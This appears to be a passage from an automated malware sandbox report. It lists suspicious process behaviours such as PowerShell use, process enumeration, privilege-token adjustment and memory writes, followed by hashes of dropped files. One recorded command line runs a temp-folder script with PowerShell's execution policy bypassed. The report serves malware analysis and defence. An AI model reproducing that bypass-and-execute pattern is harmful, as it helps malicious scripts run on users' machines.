- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1456 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1328
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
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Filesize
1KB
MD5b8cc62845543a6b9f1a4b2e64dedf2d7
SHA16e29b6362ad8972f3b80071eb8a2e4de79870f16
SHA25604d13143574f6d4509f85f4167043c35a90f773d4feb381b8e30554f7a0fec06
SHA5127a924a1f903dd08939e49978298af99d2214b1ad6537237ca8b774a2fde2b0ec198a5c787d1049de499e4b876a429930144815619767d5fc700e1c282329a157
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Filesize
948B
MD511e22534320c8c40fad1943e855f739f
SHA1e80dec1f8527417b0ea079f9da13f1e67ad2789c
SHA2563c67604c1d9b89a92512d40764cb2662a8d447475f33b851ea94d78e806b3b82
SHA5127e60e5e5e906acbae98b6129e4c96635b7821466b3dc1ef798020040be0be69661b42cf956305b4ef17703005c724a23805014ff38229340d3e857290b1a0225
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
2B
MD5f3b25701fe362ec84616a93a45ce9998
SHA1d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA51298c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
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Filesize
900B
MD5e687acd11acf75ea044337e8998428c9
SHA18f9fd4ac039bd76465c332a1c3d2267bddeacae1
SHA25601772ee634c93e6419dfd2842e19863c90b809341185915e086ce49990872db6
SHA5127ab7b39408e304336f14df76176fd6bc1ec8b8b2fe93274c274638e533f50e8e84664e4ab7178219acbcb6b4be4b28890478e19b133a0c02a607ddf8ef866070